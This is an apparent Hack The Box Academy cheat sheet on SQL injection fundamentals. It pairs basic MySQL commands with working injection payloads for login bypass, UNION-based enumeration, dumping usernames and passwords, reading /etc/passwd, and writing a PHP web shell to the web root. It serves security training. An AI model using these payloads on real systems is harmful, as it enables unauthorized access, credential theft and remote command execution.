HACKTHEBOX

SQL INJECTION FUNDAMENTALS

CHEAT SHEET

MySQL

General

Login to mysql database:
```
mysql -u root -h docker.hackthebox.eu -P
3306 -p
```

List available databases: `SHOW DATABASES`

Switch to database: `USE users`

Tables

Add a new table:
```
CREATE TABLE logins (id INT, ...)
```

List available tables in current database: `SHOW TABLES`

Show table properties and columns: `DESCRIBE logins`

Add values to table:
```
INSERT INTO table_name VALUES (value_1,..)
```

HACKTHEBOX

SQL INJECTION FUNDAMENTALS

CHEAT SHEET

Add values to specific columns in a table:
```
INSERT INTO table_name(column2, ...) VALUES
(column2_value, ..)
```

Update table values:
```
UPDATE table_name SET column1=newvalue1, ...
WHERE <condition>
```

General

Show all columns in a table: `SELECT * FROM table_name`

Show specific columns in a table:
```
SELECT column1, column2 FROM table_name
```

Delete a table: `DROP TABLE logins`

Add new column:
```
ALTER TABLE logins ADD newColumn INT
```

Rename column:
```
ALTER TABLE logins RENAME COLUMN newColumn
TO oldColumn
```

Change column datatype:
```
ALTER TABLE logins MODIFY oldColumn DATE
```


HTB ACADEMY CHEATSHEET

HACKTHEBOX

SQL INJECTION FUNDAMENTALS

CHEAT SHEET

Delete column: `ALTER TABLE logins DROP oldColumn`

Output

Sort by column:
```
SELECT * FROM logins ORDER BY column_1
```

Sort by column in descending order:
```
SELECT * FROM logins ORDER BY column_1 DESC
```

Sort by two-columns:
```
SELECT * FROM logins ORDER BY column_1 DESC,
id ASC
```

Only show first two results:
```
SELECT * FROM logins LIMIT 2
```

Only show first two results starting from index 2:
```
SELECT * FROM logins LIMIT 1, 2
```

List results that meet a condition:
```
SELECT * FROM table_name WHERE <condition>
```

List results where the name is similar to a given string:
```
SELECT * FROM logins WHERE username LIKE
'admin%'
```

HACKTHEBOX

SQL INJECTION FUNDAMENTALS

CHEAT SHEET

MySQL Operator Precedence

Division (/), Multiplication (*), and Modulus (%)
Addition (+) and Subtraction (-)
Comparison (=, >, <, <=, >=, !=, LIKE)
NOT (!)
AND (&&)
OR (||)

SQL Injection

Auth Bypass

Basic Auth Bypass: `admin' or '1'='1`

Basic Auth Bypass With comments: `admin')-- -`

Union Injection

Detect number of columns using order by:
`' order by 1-- -`

Detect number of columns using Union injection:
`cn' UNION select 1,2,3-- -`

HACKTHEBOX

SQL INJECTION FUNDAMENTALS

CHEAT SHEET

Basic Union injection:
```
cn' UNION select 1,@@version,3,4-- -
```

Union injection for 4 columns:
```
UNION select username, 2, 3, 4 from passwords-- -
```

DB Enumeration

Fingerprint MySQL with query output: `SELECT @@version`

Fingerprint MySQL with no output: `SELECT SLEEP(5)`

Current database name:
```
cn' UNION select 1,database(),2,3-- -
```

List all databases:
```
cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -
```

List all tables in a specific database:
```
cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -
```

HACKTHEBOX

SQL INJECTION FUNDAMENTALS

CHEAT SHEET

List all columns in a specific table:

```
cn' UNION select 1,COLUMN_NAME,TABLE_NAME,
TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS
where table_name='credentials'-- -
```

Dump data from a table in another database:

```
cn' UNION select 1, username, password, 4
from dev.credentials-- -
```

Privileges

Find current user:

```
cn' UNION SELECT 1, user(), 3, 4-- -
```

Find if user has admin privileges:

```
cn' UNION SELECT 1, super_priv, 3, 4 FROM
mysql.user WHERE user="root"-- -
```

Find if all user privileges:

```
cn' UNION SELECT 1, grantee, privilege_type,
is_grantable FROM
information_schema.user_privileges WHERE
user="root"-- -
```

HACKTHEBOX

SQL INJECTION FUNDAMENTALS

CHEAT SHEET

Find which directories can be accessed through MySQL:

```
cn' UNION SELECT 1, variable_name,
variable_value, 4 FROM
information_schema.global_variables where
variable_name="secure_file_priv"-- -
```

File Injection

Read local file:

```
cn' UNION SELECT 1,
LOAD_FILE("/etc/passwd"), 3, 4-- -
```

Write a string to a local file:

```
select 'file written successfully!' into
outfile '/var/www/html/proof.txt'
```

Write a web shell into the base web directory:

```
cn' union select "",'<?php
system($_REQUEST[0]); ?>', "", "" into
outfile '/var/www/html/shell.php'-- -
```